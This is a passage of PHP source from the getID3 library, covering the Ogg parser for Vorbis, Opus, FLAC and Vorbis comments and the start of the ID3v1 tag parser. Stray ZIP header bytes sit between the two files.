$filedataoffset, 4)); $filedataoffset += 4; $info['ogg']['skeleton']['fisbone']['raw']['granuleshift'] = getid3_lib::LittleEndian2Int(substr($filedata, $filedataoffset, 1)); $filedataoffset += 1; $info['ogg']['skeleton']['fisbone']['raw']['padding'] = substr($filedata, $filedataoffset, 3); $filedataoffset += 3; } elseif (substr($filedata, 1, 6) == 'theora') { $info['video']['dataformat'] = 'theora1'; $this->error('Ogg Theora (v1) not correctly handled in this version of getID3 ['.$this->getid3->version().']'); //break; } elseif (substr($filedata, 1, 6) == 'vorbis') { $this->ParseVorbisPageHeader($filedata, $filedataoffset, $oggpageinfo); } else { $this->error('unexpected'); //break; } //} while ($oggpageinfo['page_seqno'] == 0); } while (($oggpageinfo['page_seqno'] == 0) && (substr($filedata, 0, 8) != "fisbone\x00")); $this->fseek($oggpageinfo['page_start_offset']); $this->error('Ogg Skeleton not correctly handled in this version of getID3 ['.$this->getid3->version().']'); //return false; } elseif (substr($filedata, 0, 5) == "\x7F".'FLAC') { // https://xiph.org/flac/ogg_mapping.html $info['audio']['dataformat'] = 'flac'; $info['audio']['bitrate_mode'] = 'vbr'; $info['audio']['lossless'] = true; $info['ogg']['flac']['header']['version_major'] = ord(substr($filedata, 5, 1)); $info['ogg']['flac']['header']['version_minor'] = ord(substr($filedata, 6, 1)); $info['ogg']['flac']['header']['header_packets'] = getid3_lib::BigEndian2Int(substr($filedata, 7, 2)) + 1; // "A two-byte, big-endian binary number signifying the number of header (non-audio) packets, not including this one. This number may be zero (0x0000) to signify 'unknown' but be aware that some decoders may not be able to handle such streams." $info['ogg']['flac']['header']['magic'] = substr($filedata, 9, 4); if ($info['ogg']['flac']['header']['magic'] != 'fLaC') { $this->error('Ogg-FLAC expecting "fLaC", found "'.$info['ogg']['flac']['header']['magic'].'" ('.trim(getid3_lib::PrintHexBytes($info['ogg']['flac']['header']['magic'])).')'); return false; } $info['ogg']['flac']['header']['STREAMINFO_bytes'] = getid3_lib::BigEndian2Int(substr($filedata, 13, 4)); $info['flac']['STREAMINFO'] = getid3_flac::parseSTREAMINFOdata(substr($filedata, 17, 34)); if (!empty($info['flac']['STREAMINFO']['sample_rate'])) { $info['audio']['bitrate_mode'] = 'vbr'; $info['audio']['sample_rate'] = $info['flac']['STREAMINFO']['sample_rate']; $info['audio']['channels'] = $info['flac']['STREAMINFO']['channels']; $info['audio']['bits_per_sample'] = $info['flac']['STREAMINFO']['bits_per_sample']; $info['playtime_seconds'] = getid3_lib::SafeDiv($info['flac']['STREAMINFO']['samples_stream'], $info['flac']['STREAMINFO']['sample_rate']); } } else { $this->error('Expecting one of "vorbis", "Speex", "OpusHead", "vorbis", "fishhead", "theora", "fLaC" identifier strings, found "'.substr($filedata, 0, 8).'"'); unset($info['ogg']); unset($info['mime_type']); return false; } // Page 2 - Comment Header $oggpageinfo = $this->ParseOggPageHeader(); $info['ogg']['pageheader'][$oggpageinfo['page_seqno']] = $oggpageinfo; switch ($info['audio']['dataformat']) { case 'vorbis': $filedata = $this->fread($info['ogg']['pageheader'][$oggpageinfo['page_seqno']]['page_length']); $info['ogg']['pageheader'][$oggpageinfo['page_seqno']]['packet_type'] = getid3_lib::LittleEndian2Int(substr($filedata, 0, 1)); $info['ogg']['pageheader'][$oggpageinfo['page_seqno']]['stream_type'] = substr($filedata, 1, 6); // hard-coded to 'vorbis' $this->ParseVorbisComments(); break; case 'flac': $flac = new getid3_flac($this->getid3); if (!$flac->parseMETAdata()) { $this->error('Failed to parse FLAC headers'); return false; } unset($flac); break; case 'speex': $this->fseek($info['ogg']['pageheader'][$oggpageinfo['page_seqno']]['page_length'], SEEK_CUR); $this->ParseVorbisComments(); break; case 'opus': $filedata = $this->fread($info['ogg']['pageheader'][$oggpageinfo['page_seqno']]['page_length']); $info['ogg']['pageheader'][$oggpageinfo['page_seqno']]['stream_type'] = substr($filedata, 0, 8); // hard-coded to 'OpusTags' if(substr($filedata, 0, 8) != 'OpusTags') { $this->error('Expected "OpusTags" as header but got "'.substr($filedata, 0, 8).'"'); return false; } $this->ParseVorbisComments(); break; } // Last Page - Number of Samples if (!getid3_lib::intValueSupported($info['avdataend'])) { $this->warning('Unable to parse Ogg end chunk file (PHP does not support file operations beyond '.round(PHP_INT_MAX / 1073741824).'GB)'); } else { $this->fseek(max($info['avdataend'] - $this->getid3->fread_buffer_size(), 0)); $LastChunkOfOgg = strrev($this->fread($this->getid3->fread_buffer_size())); if ($LastOggSpostion = strpos($LastChunkOfOgg, 'SggO')) { $this->fseek($info['avdataend'] - ($LastOggSpostion + strlen('SggO'))); $info['avdataend'] = $this->ftell(); $info['ogg']['pageheader']['eos'] = $this->ParseOggPageHeader(); $info['ogg']['samples'] = $info['ogg']['pageheader']['eos']['pcm_abs_position']; if ($info['ogg']['samples'] == 0) { $this->error('Corrupt Ogg file: eos.number of samples == zero'); return false; } if (!empty($info['audio']['sample_rate'])) { $info['ogg']['bitrate_average'] = (($info['avdataend'] - $info['avdataoffset']) * 8) * $info['audio']['sample_rate'] / $info['ogg']['samples']; } } } if (!empty($info['ogg']['bitrate_average'])) { $info['audio']['bitrate'] = $info['ogg']['bitrate_average']; } elseif (!empty($info['ogg']['bitrate_nominal'])) { $info['audio']['bitrate'] = $info['ogg']['bitrate_nominal']; } elseif (!empty($info['ogg']['bitrate_min']) && !empty($info['ogg']['bitrate_max'])) { $info['audio']['bitrate'] = ($info['ogg']['bitrate_min'] + $info['ogg']['bitrate_max']) / 2; } if (isset($info['audio']['bitrate']) && !isset($info['playtime_seconds'])) { if ($info['audio']['bitrate'] == 0) { $this->error('Corrupt Ogg file: bitrate_audio == zero'); return false; } $info['playtime_seconds'] = (float) ((($info['avdataend'] - $info['avdataoffset']) * 8) / $info['audio']['bitrate']); } if (isset($info['ogg']['vendor'])) { $info['audio']['encoder'] = preg_replace('/^Encoded with /', '', $info['ogg']['vendor']); // Vorbis only if ($info['audio']['dataformat'] == 'vorbis') { // Vorbis 1.0 starts with Xiph.Org if (preg_match('/^Xiph.Org/', $info['audio']['encoder'])) { if ($info['audio']['bitrate_mode'] == 'abr') { // Set -b 128 on abr files $info['audio']['encoder_options'] = '-b '.round($info['ogg']['bitrate_nominal'] / 1000); } elseif (($info['audio']['bitrate_mode'] == 'vbr') && ($info['audio']['channels'] == 2) && ($info['audio']['sample_rate'] >= 44100) && ($info['audio']['sample_rate'] <= 48000)) { // Set -q N on vbr files $info['audio']['encoder_options'] = '-q '.$this->get_quality_from_nominal_bitrate($info['ogg']['bitrate_nominal']); } } if (empty($info['audio']['encoder_options']) && !empty($info['ogg']['bitrate_nominal'])) { $info['audio']['encoder_options'] = 'Nominal bitrate: '.intval(round($info['ogg']['bitrate_nominal'] / 1000)).'kbps'; } } } return true; } /** * @param string $filedata * @param int $filedataoffset * @param array $oggpageinfo * * @return bool */ public function ParseVorbisPageHeader(&$filedata, &$filedataoffset, &$oggpageinfo) { $info = &$this->getid3->info; $info['audio']['dataformat'] = 'vorbis'; $info['audio']['lossless'] = false; $info['ogg']['pageheader'][$oggpageinfo['page_seqno']]['packet_type'] = getid3_lib::LittleEndian2Int(substr($filedata, $filedataoffset, 1)); $filedataoffset += 1; $info['ogg']['pageheader'][$oggpageinfo['page_seqno']]['stream_type'] = substr($filedata, $filedataoffset, 6); // hard-coded to 'vorbis' $filedataoffset += 6; $info['ogg']['bitstreamversion'] = getid3_lib::LittleEndian2Int(substr($filedata, $filedataoffset, 4)); $filedataoffset += 4; $info['ogg']['numberofchannels'] = getid3_lib::LittleEndian2Int(substr($filedata, $filedataoffset, 1)); $filedataoffset += 1; $info['audio']['channels'] = $info['ogg']['numberofchannels']; $info['ogg']['samplerate'] = getid3_lib::LittleEndian2Int(substr($filedata, $filedataoffset, 4)); $filedataoffset += 4; if ($info['ogg']['samplerate'] == 0) { $this->error('Corrupt Ogg file: sample rate == zero'); return false; } $info['audio']['sample_rate'] = $info['ogg']['samplerate']; $info['ogg']['samples'] = 0; // filled in later $info['ogg']['bitrate_average'] = 0; // filled in later $info['ogg']['bitrate_max'] = getid3_lib::LittleEndian2Int(substr($filedata, $filedataoffset, 4)); $filedataoffset += 4; $info['ogg']['bitrate_nominal'] = getid3_lib::LittleEndian2Int(substr($filedata, $filedataoffset, 4)); $filedataoffset += 4; $info['ogg']['bitrate_min'] = getid3_lib::LittleEndian2Int(substr($filedata, $filedataoffset, 4)); $filedataoffset += 4; $info['ogg']['blocksize_small'] = pow(2, getid3_lib::LittleEndian2Int(substr($filedata, $filedataoffset, 1)) & 0x0F); $info['ogg']['blocksize_large'] = pow(2, (getid3_lib::LittleEndian2Int(substr($filedata, $filedataoffset, 1)) & 0xF0) >> 4); $info['ogg']['stop_bit'] = getid3_lib::LittleEndian2Int(substr($filedata, $filedataoffset, 1)); // must be 1, marks end of packet $info['audio']['bitrate_mode'] = 'vbr'; // overridden if actually abr if ($info['ogg']['bitrate_max'] == 0xFFFFFFFF) { unset($info['ogg']['bitrate_max']); $info['audio']['bitrate_mode'] = 'abr'; } if ($info['ogg']['bitrate_nominal'] == 0xFFFFFFFF) { unset($info['ogg']['bitrate_nominal']); } if ($info['ogg']['bitrate_min'] == 0xFFFFFFFF) { unset($info['ogg']['bitrate_min']); $info['audio']['bitrate_mode'] = 'abr'; } return true; } /** * @link http://tools.ietf.org/html/draft-ietf-codec-oggopus-03 * * @param string $filedata * @param int $filedataoffset * @param array $oggpageinfo * * @return bool */ public function ParseOpusPageHeader(&$filedata, &$filedataoffset, &$oggpageinfo) { $info = &$this->getid3->info; $info['audio']['dataformat'] = 'opus'; $info['mime_type'] = 'audio/ogg; codecs=opus'; /** @todo find a usable way to detect abr (vbr that is padded to be abr) */ $info['audio']['bitrate_mode'] = 'vbr'; $info['audio']['lossless'] = false; $info['ogg']['pageheader']['opus']['opus_magic'] = substr($filedata, $filedataoffset, 8); // hard-coded to 'OpusHead' $filedataoffset += 8; $info['ogg']['pageheader']['opus']['version'] = getid3_lib::LittleEndian2Int(substr($filedata, $filedataoffset, 1)); $filedataoffset += 1; if ($info['ogg']['pageheader']['opus']['version'] < 1 || $info['ogg']['pageheader']['opus']['version'] > 15) { $this->error('Unknown opus version number (only accepting 1-15)'); return false; } $info['ogg']['pageheader']['opus']['out_channel_count'] = getid3_lib::LittleEndian2Int(substr($filedata, $filedataoffset, 1)); $filedataoffset += 1; if ($info['ogg']['pageheader']['opus']['out_channel_count'] == 0) { $this->error('Invalid channel count in opus header (must not be zero)'); return false; } $info['ogg']['pageheader']['opus']['pre_skip'] = getid3_lib::LittleEndian2Int(substr($filedata, $filedataoffset, 2)); $filedataoffset += 2; $info['ogg']['pageheader']['opus']['input_sample_rate'] = getid3_lib::LittleEndian2Int(substr($filedata, $filedataoffset, 4)); $filedataoffset += 4; //$info['ogg']['pageheader']['opus']['output_gain'] = getid3_lib::LittleEndian2Int(substr($filedata, $filedataoffset, 2)); //$filedataoffset += 2; //$info['ogg']['pageheader']['opus']['channel_mapping_family'] = getid3_lib::LittleEndian2Int(substr($filedata, $filedataoffset, 1)); //$filedataoffset += 1; $info['opus']['opus_version'] = $info['ogg']['pageheader']['opus']['version']; $info['opus']['sample_rate_input'] = $info['ogg']['pageheader']['opus']['input_sample_rate']; $info['opus']['out_channel_count'] = $info['ogg']['pageheader']['opus']['out_channel_count']; $info['audio']['channels'] = $info['opus']['out_channel_count']; $info['audio']['sample_rate_input'] = $info['opus']['sample_rate_input']; $info['audio']['sample_rate'] = 48000; // "All Opus audio is coded at 48 kHz, and should also be decoded at 48 kHz for playback (unless the target hardware does not support this sampling rate). However, this field may be used to resample the audio back to the original sampling rate, for example, when saving the output to a file." -- https://mf4.xiph.org/jenkins/view/opus/job/opusfile-unix/ws/doc/html/structOpusHead.html return true; } /** * @return array|false */ public function ParseOggPageHeader() { // http://xiph.org/ogg/vorbis/doc/framing.html $oggheader = array(); $oggheader['page_start_offset'] = $this->ftell(); // where we started from in the file $filedata = $this->fread($this->getid3->fread_buffer_size()); $filedataoffset = 0; while (substr($filedata, $filedataoffset++, 4) != 'OggS') { if (($this->ftell() - $oggheader['page_start_offset']) >= $this->getid3->fread_buffer_size()) { // should be found before here return false; } if (($filedataoffset + 28) > strlen($filedata)) { if ($this->feof() || (($filedata .= $this->fread($this->getid3->fread_buffer_size())) === '')) { // get some more data, unless eof, in which case fail return false; } } } $filedataoffset += strlen('OggS') - 1; // page, delimited by 'OggS' $oggheader['stream_structver'] = getid3_lib::LittleEndian2Int(substr($filedata, $filedataoffset, 1)); $filedataoffset += 1; $oggheader['flags_raw'] = getid3_lib::LittleEndian2Int(substr($filedata, $filedataoffset, 1)); $filedataoffset += 1; $oggheader['flags']['fresh'] = (bool) ($oggheader['flags_raw'] & 0x01); // fresh packet $oggheader['flags']['bos'] = (bool) ($oggheader['flags_raw'] & 0x02); // first page of logical bitstream (bos) $oggheader['flags']['eos'] = (bool) ($oggheader['flags_raw'] & 0x04); // last page of logical bitstream (eos) $oggheader['pcm_abs_position'] = getid3_lib::LittleEndian2Int(substr($filedata, $filedataoffset, 8)); $filedataoffset += 8; $oggheader['stream_serialno'] = getid3_lib::LittleEndian2Int(substr($filedata, $filedataoffset, 4)); $filedataoffset += 4; $oggheader['page_seqno'] = getid3_lib::LittleEndian2Int(substr($filedata, $filedataoffset, 4)); $filedataoffset += 4; $oggheader['page_checksum'] = getid3_lib::LittleEndian2Int(substr($filedata, $filedataoffset, 4)); $filedataoffset += 4; $oggheader['page_segments'] = getid3_lib::LittleEndian2Int(substr($filedata, $filedataoffset, 1)); $filedataoffset += 1; $oggheader['page_length'] = 0; for ($i = 0; $i < $oggheader['page_segments']; $i++) { $oggheader['segment_table'][$i] = getid3_lib::LittleEndian2Int(substr($filedata, $filedataoffset, 1)); $filedataoffset += 1; $oggheader['page_length'] += $oggheader['segment_table'][$i]; } $oggheader['header_end_offset'] = $oggheader['page_start_offset'] + $filedataoffset; $oggheader['page_end_offset'] = $oggheader['header_end_offset'] + $oggheader['page_length']; $this->fseek($oggheader['header_end_offset']); return $oggheader; } /** * @link http://xiph.org/vorbis/doc/Vorbis_I_spec.html#x1-810005 * * @return bool */ public function ParseVorbisComments() { $info = &$this->getid3->info; $OriginalOffset = $this->ftell(); $commentdata = null; $commentdataoffset = 0; $VorbisCommentPage = 1; $CommentStartOffset = 0; switch ($info['audio']['dataformat']) { case 'vorbis': case 'speex': case 'opus': $CommentStartOffset = $info['ogg']['pageheader'][$VorbisCommentPage]['page_start_offset']; // Second Ogg page, after header block $this->fseek($CommentStartOffset); $commentdataoffset = 27 + $info['ogg']['pageheader'][$VorbisCommentPage]['page_segments']; $commentdata = $this->fread(self::OggPageSegmentLength($info['ogg']['pageheader'][$VorbisCommentPage], 1) + $commentdataoffset); if ($info['audio']['dataformat'] == 'vorbis') { $commentdataoffset += (strlen('vorbis') + 1); } else if ($info['audio']['dataformat'] == 'opus') { $commentdataoffset += strlen('OpusTags'); } break; case 'flac': $CommentStartOffset = $info['flac']['VORBIS_COMMENT']['raw']['offset'] + 4; $this->fseek($CommentStartOffset); $commentdata = $this->fread($info['flac']['VORBIS_COMMENT']['raw']['block_length']); break; default: return false; } $VendorSize = getid3_lib::LittleEndian2Int(substr($commentdata, $commentdataoffset, 4)); $commentdataoffset += 4; $info['ogg']['vendor'] = substr($commentdata, $commentdataoffset, $VendorSize); $commentdataoffset += $VendorSize; $CommentsCount = getid3_lib::LittleEndian2Int(substr($commentdata, $commentdataoffset, 4)); $commentdataoffset += 4; $info['avdataoffset'] = $CommentStartOffset + $commentdataoffset; $basicfields = array('TITLE', 'ARTIST', 'ALBUM', 'TRACKNUMBER', 'GENRE', 'DATE', 'DESCRIPTION', 'COMMENT'); $ThisFileInfo_ogg_comments_raw = &$info['ogg']['comments_raw']; for ($i = 0; $i < $CommentsCount; $i++) { if ($i >= 10000) { // https://github.com/owncloud/music/issues/212#issuecomment-43082336 $this->warning('Unexpectedly large number ('.$CommentsCount.') of Ogg comments - breaking after reading '.$i.' comments'); break; } $ThisFileInfo_ogg_comments_raw[$i]['dataoffset'] = $CommentStartOffset + $commentdataoffset; if ($this->ftell() < ($ThisFileInfo_ogg_comments_raw[$i]['dataoffset'] + 4)) { if ($oggpageinfo = $this->ParseOggPageHeader()) { $info['ogg']['pageheader'][$oggpageinfo['page_seqno']] = $oggpageinfo; $VorbisCommentPage++; // First, save what we haven't read yet $AsYetUnusedData = substr($commentdata, $commentdataoffset); // Then take that data off the end $commentdata = substr($commentdata, 0, $commentdataoffset); // Add [headerlength] bytes of dummy data for the Ogg Page Header, just to keep absolute offsets correct $commentdata .= str_repeat("\x00", 27 + $info['ogg']['pageheader'][$oggpageinfo['page_seqno']]['page_segments']); $commentdataoffset += (27 + $info['ogg']['pageheader'][$oggpageinfo['page_seqno']]['page_segments']); // Finally, stick the unused data back on the end $commentdata .= $AsYetUnusedData; //$commentdata .= $this->fread($info['ogg']['pageheader'][$oggpageinfo['page_seqno']]['page_length']); $commentdata .= $this->fread($this->OggPageSegmentLength($info['ogg']['pageheader'][$VorbisCommentPage], 1)); } } $ThisFileInfo_ogg_comments_raw[$i]['size'] = getid3_lib::LittleEndian2Int(substr($commentdata, $commentdataoffset, 4)); // replace avdataoffset with position just after the last vorbiscomment $info['avdataoffset'] = $ThisFileInfo_ogg_comments_raw[$i]['dataoffset'] + $ThisFileInfo_ogg_comments_raw[$i]['size'] + 4; $commentdataoffset += 4; while ((strlen($commentdata) - $commentdataoffset) < $ThisFileInfo_ogg_comments_raw[$i]['size']) { if (($ThisFileInfo_ogg_comments_raw[$i]['size'] > $info['avdataend']) || ($ThisFileInfo_ogg_comments_raw[$i]['size'] < 0)) { $this->warning('Invalid Ogg comment size (comment #'.$i.', claims to be '.number_format($ThisFileInfo_ogg_comments_raw[$i]['size']).' bytes) - aborting reading comments'); break 2; } $VorbisCommentPage++; if ($oggpageinfo = $this->ParseOggPageHeader()) { $info['ogg']['pageheader'][$oggpageinfo['page_seqno']] = $oggpageinfo; // First, save what we haven't read yet $AsYetUnusedData = substr($commentdata, $commentdataoffset); // Then take that data off the end $commentdata = substr($commentdata, 0, $commentdataoffset); // Add [headerlength] bytes of dummy data for the Ogg Page Header, just to keep absolute offsets correct $commentdata .= str_repeat("\x00", 27 + $info['ogg']['pageheader'][$oggpageinfo['page_seqno']]['page_segments']); $commentdataoffset += (27 + $info['ogg']['pageheader'][$oggpageinfo['page_seqno']]['page_segments']); // Finally, stick the unused data back on the end $commentdata .= $AsYetUnusedData; //$commentdata .= $this->fread($info['ogg']['pageheader'][$oggpageinfo['page_seqno']]['page_length']); if (!isset($info['ogg']['pageheader'][$VorbisCommentPage])) { $this->warning('undefined Vorbis Comment page "'.$VorbisCommentPage.'" at offset '.$this->ftell()); break; } $readlength = self::OggPageSegmentLength($info['ogg']['pageheader'][$VorbisCommentPage], 1); if ($readlength <= 0) { $this->warning('invalid length Vorbis Comment page "'.$VorbisCommentPage.'" at offset '.$this->ftell()); break; } $commentdata .= $this->fread($readlength); //$filebaseoffset += $oggpageinfo['header_end_offset'] - $oggpageinfo['page_start_offset']; } else { $this->warning('failed to ParseOggPageHeader() at offset '.$this->ftell()); break; } } $ThisFileInfo_ogg_comments_raw[$i]['offset'] = $commentdataoffset; $commentstring = substr($commentdata, $commentdataoffset, $ThisFileInfo_ogg_comments_raw[$i]['size']); $commentdataoffset += $ThisFileInfo_ogg_comments_raw[$i]['size']; if (!$commentstring) { // no comment? $this->warning('Blank Ogg comment ['.$i.']'); } elseif (strstr($commentstring, '=')) { $commentexploded = explode('=', $commentstring, 2); $ThisFileInfo_ogg_comments_raw[$i]['key'] = strtoupper($commentexploded[0]); $ThisFileInfo_ogg_comments_raw[$i]['value'] = (isset($commentexploded[1]) ? $commentexploded[1] : ''); if ($ThisFileInfo_ogg_comments_raw[$i]['key'] == 'METADATA_BLOCK_PICTURE') { // http://wiki.xiph.org/VorbisComment#METADATA_BLOCK_PICTURE // The unencoded format is that of the FLAC picture block. The fields are stored in big endian order as in FLAC, picture data is stored according to the relevant standard. // http://flac.sourceforge.net/format.html#metadata_block_picture $flac = new getid3_flac($this->getid3); $flac->setStringMode(base64_decode($ThisFileInfo_ogg_comments_raw[$i]['value'])); $flac->parsePICTURE(); $info['ogg']['comments']['picture'][] = $flac->getid3->info['flac']['PICTURE'][0]; unset($flac); } elseif ($ThisFileInfo_ogg_comments_raw[$i]['key'] == 'COVERART') { $data = base64_decode($ThisFileInfo_ogg_comments_raw[$i]['value']); $this->notice('Found deprecated COVERART tag, it should be replaced in honor of METADATA_BLOCK_PICTURE structure'); /** @todo use 'coverartmime' where available */ $imageinfo = getid3_lib::GetDataImageSize($data); if ($imageinfo === false || !isset($imageinfo['mime'])) { $this->warning('COVERART vorbiscomment tag contains invalid image'); continue; } $ogg = new self($this->getid3); $ogg->setStringMode($data); $info['ogg']['comments']['picture'][] = array( 'image_mime' => $imageinfo['mime'], 'datalength' => strlen($data), 'picturetype' => 'cover art', 'image_height' => $imageinfo['height'], 'image_width' => $imageinfo['width'], 'data' => $ogg->saveAttachment('coverart', 0, strlen($data), $imageinfo['mime']), ); unset($ogg); } else { $info['ogg']['comments'][strtolower($ThisFileInfo_ogg_comments_raw[$i]['key'])][] = $ThisFileInfo_ogg_comments_raw[$i]['value']; } } else { $this->warning('[known problem with CDex >= v1.40, < v1.50b7] Invalid Ogg comment name/value pair ['.$i.']: '.$commentstring); } unset($ThisFileInfo_ogg_comments_raw[$i]); } unset($ThisFileInfo_ogg_comments_raw); // Replay Gain Adjustment // http://privatewww.essex.ac.uk/~djmrob/replaygain/ if (isset($info['ogg']['comments']) && is_array($info['ogg']['comments'])) { foreach ($info['ogg']['comments'] as $index => $commentvalue) { switch ($index) { case 'rg_audiophile': case 'replaygain_album_gain': $info['replay_gain']['album']['adjustment'] = (double) $commentvalue[0]; unset($info['ogg']['comments'][$index]); break; case 'rg_radio': case 'replaygain_track_gain': $info['replay_gain']['track']['adjustment'] = (double) $commentvalue[0]; unset($info['ogg']['comments'][$index]); break; case 'replaygain_album_peak': $info['replay_gain']['album']['peak'] = (double) $commentvalue[0]; unset($info['ogg']['comments'][$index]); break; case 'rg_peak': case 'replaygain_track_peak': $info['replay_gain']['track']['peak'] = (double) $commentvalue[0]; unset($info['ogg']['comments'][$index]); break; case 'replaygain_reference_loudness': $info['replay_gain']['reference_volume'] = (double) $commentvalue[0]; unset($info['ogg']['comments'][$index]); break; default: // do nothing break; } } } $this->fseek($OriginalOffset); return true; } /** * @param int $mode * * @return string|null */ public static function SpeexBandModeLookup($mode) { static $SpeexBandModeLookup = array(); if (empty($SpeexBandModeLookup)) { $SpeexBandModeLookup[0] = 'narrow'; $SpeexBandModeLookup[1] = 'wide'; $SpeexBandModeLookup[2] = 'ultra-wide'; } return (isset($SpeexBandModeLookup[$mode]) ? $SpeexBandModeLookup[$mode] : null); } /** * @param array $OggInfoArray * @param int $SegmentNumber * * @return int */ public static function OggPageSegmentLength($OggInfoArray, $SegmentNumber=1) { $segmentlength = 0; for ($i = 0; $i < $SegmentNumber; $i++) { $segmentlength = 0; foreach ($OggInfoArray['segment_table'] as $key => $value) { $segmentlength += $value; if ($value < 255) { break; } } } return $segmentlength; } /** * @param int $nominal_bitrate * * @return float */ public static function get_quality_from_nominal_bitrate($nominal_bitrate) { // decrease precision $nominal_bitrate = $nominal_bitrate / 1000; if ($nominal_bitrate < 128) { // q-1 to q4 $qval = ($nominal_bitrate - 64) / 16; } elseif ($nominal_bitrate < 256) { // q4 to q8 $qval = $nominal_bitrate / 32; } elseif ($nominal_bitrate < 320) { // q8 to q9 $qval = ($nominal_bitrate + 256) / 64; } else { // q9 to q10 $qval = ($nominal_bitrate + 1300) / 180; } //return $qval; // 5.031324 //return intval($qval); // 5 return round($qval, 1); // 5 or 4.9 } /** * @param int $colorspace_id * * @return string|null */ public static function TheoraColorSpace($colorspace_id) { // http://www.theora.org/doc/Theora.pdf (table 6.3) static $TheoraColorSpaceLookup = array(); if (empty($TheoraColorSpaceLookup)) { $TheoraColorSpaceLookup[0] = 'Undefined'; $TheoraColorSpaceLookup[1] = 'Rec. 470M'; $TheoraColorSpaceLookup[2] = 'Rec. 470BG'; $TheoraColorSpaceLookup[3] = 'Reserved'; } return (isset($TheoraColorSpaceLookup[$colorspace_id]) ? $TheoraColorSpaceLookup[$colorspace_id] : null); } /** * @param int $pixelformat_id * * @return string|null */ public static function TheoraPixelFormat($pixelformat_id) { // http://www.theora.org/doc/Theora.pdf (table 6.4) static $TheoraPixelFormatLookup = array(); if (empty($TheoraPixelFormatLookup)) { $TheoraPixelFormatLookup[0] = '4:2:0'; $TheoraPixelFormatLookup[1] = 'Reserved'; $TheoraPixelFormatLookup[2] = '4:2:2'; $TheoraPixelFormatLookup[3] = '4:4:4'; } return (isset($TheoraPixelFormatLookup[$pixelformat_id]) ? $TheoraPixelFormatLookup[$pixelformat_id] : null); } } PKm"[hi::module.tag.id3v1.phpnu[ // // available at https://github.com/JamesHeinrich/getID3 // // or https://www.getid3.org // // or http://getid3.sourceforge.net // // see readme.txt for more details // ///////////////////////////////////////////////////////////////// // // // module.tag.id3v1.php // // module for analyzing ID3v1 tags // // dependencies: NONE // // /// ///////////////////////////////////////////////////////////////// if (!defined('GETID3_INCLUDEPATH')) { // prevent path-exposing attacks that access modules directly on public webservers exit; } class getid3_id3v1 extends getid3_handler { /** * @return bool */ public function Analyze() { $info = &$this->getid3->info; if (!getid3_lib::intValueSupported($info['filesize'])) { $this->warning('Unable to check for ID3v1 because file is larger than '.round(PHP_INT_MAX / 1073741824).'GB'); return false; } if($info['filesize'] < 256) { $this->fseek(-128, SEEK_END); $preid3v1 = ''; $id3v1tag = $this->fread(128); } else { $this->fseek(-256, SEEK_END); $preid3v1 = $this->fread(128); $id3v1tag = $this->fread(128); } if (substr($id3v1tag, 0, 3) == 'TAG') { $info['avdataend'] = $info['filesize'] - 128; $ParsedID3v1 = array(); $ParsedID3v1['title'] = $this->cutfield(substr($id3v1tag, 3, 30)); $ParsedID3v1['artist'] = $this->cutfield(substr($id3v1tag, 33, 30)); $ParsedID3v1['album'] = $this->cutfield(substr($id3v1tag, 63, 30)); $ParsedID3v1['year'] = $this->cutfield(substr($id3v1tag, 93, 4)); $ParsedID3v1['comment'] = substr($id3v1tag, 97, 30); // can't remove nulls yet, track detection depends on them $ParsedID3v1['genreid'] = ord(substr($id3v1tag, 127, 1)); // If second-last byte of comment field is null and last byte of comment field is non-null // then this is ID3v1.1 and the comment field is 28 bytes long and the 30th byte is the track number if (($id3v1tag[125] === "\x00") && ($id3v1tag[126] !== "\x00")) { $ParsedID3v1['track_number'] = ord(substr($ParsedID3v1['comment'], 29, 1)); $ParsedID3v1['comment'] = substr($ParsedID3v1['comment'], 0, 28); } $ParsedID3v1['comment'] = $this->cutfield($ParsedID3v1['comment']); $ParsedID3v1['genre'] = $this->LookupGenreName($ParsedID3v1['genreid']); if (!empty($ParsedID3v1['genre'])) { unset($ParsedID3v1['genreid']); } if (empty($ParsedID3v1['genre']) || ($ParsedID3v1['genre'] == 'Unknown')) { unset($ParsedID3v1['genre']); } foreach ($ParsedID3v1 as $key => $value) { $ParsedID3v1['comments'][$key][0] = $value; } $ID3v1encoding = $this->getid3->encoding_id3v1; if ($this->getid3->encoding_id3v1_autodetect) { // ID3v1 encoding detection hack START // ID3v1 is defined as always using ISO-8859-1 encoding, but it is not uncommon to find files tagged with ID3v1 using Windows-1251 or other character sets // Since ID3v1 has no concept of character sets there is no certain way to know we have the correct non-ISO-8859-1 character set, but we can guess foreach ($ParsedID3v1['comments'] as $tag_key => $valuearray) { foreach ($valuearray as $key => $value) { if (preg_match('#^[\\x00-\\x40\\x80-\\xFF]+$#', $value) && !ctype_digit((string) $value)) { // check for strings with only characters above chr(128) and punctuation/numbers, but not just numeric strings (e.g. track numbers or years) foreach (array('Windows-1251', 'KOI8-R') as $id3v1_bad_encoding) { if (function_exists('mb_convert_encoding') && @mb_convert_encoding($value, $id3v1_bad_encoding, $id3v1_bad_encoding) === $value) { $ID3v1encoding = $id3v1_bad_encoding; $this->warning('ID3v1 detected as '.$id3v1_bad_encoding.' text encoding in '.$tag_key); break 3; } elseif (function_exists('iconv') && @iconv($id3v1_bad_encoding, $id3v1_bad_encoding, $value) === $value) { $ID3v1encoding = $id3v1_bad_encoding; $this->warning('ID3v1 detected as '.$id3v1_bad_encoding.' text encoding in '.$tag_key); break 3; } } } } } // ID3v1 encoding detection hack END } // ID3v1 data is supposed to be padded with NULL characters, but some taggers pad with spaces $GoodFormatID3v1tag = $this->GenerateID3v1Tag( $ParsedID3v1['title'], $ParsedID3v1['artist'], $ParsedID3v1['album'], $ParsedID3v1['year'], (isset($ParsedID3v1['genre']) ? $this->LookupGenreID($ParsedID3v1['genre']) : false), $ParsedID3v1['comment'], (!empty($ParsedID3v1['track_number']) ? $ParsedID3v1['track_number'] : '')); $ParsedID3v1['padding_valid'] = true; if ($id3v1tag !== $GoodFormatID3v1tag) { $ParsedID3v1['padding_valid'] = false; $this->warning('Some ID3v1 fields do not use NULL characters for padding'); } $ParsedID3v1['tag_offset_end'] = $info['filesize']; $ParsedID3v1['tag_offset_start'] = $ParsedID3v1['tag_offset_end'] - 128; $info['id3v1'] = $ParsedID3v1; $info['id3v1']['encoding'] = $ID3v1encoding; } if (substr($preid3v1, 0, 3) == 'TAG') { // The way iTunes handles tags is, well, brain-damaged. // It completely ignores v1 if ID3v2 is present. // This goes as far as adding a new v1 tag *even if there already is one* // A suspected double-ID3v1 tag has been detected, but it could be that // the "TAG" identifier is a legitimate part of an APE or Lyrics3 tag if (substr($preid3v1, 96, 8) == 'APETAGEX') { // an APE tag footer was found before the last ID3v1, assume false "TAG" synch } 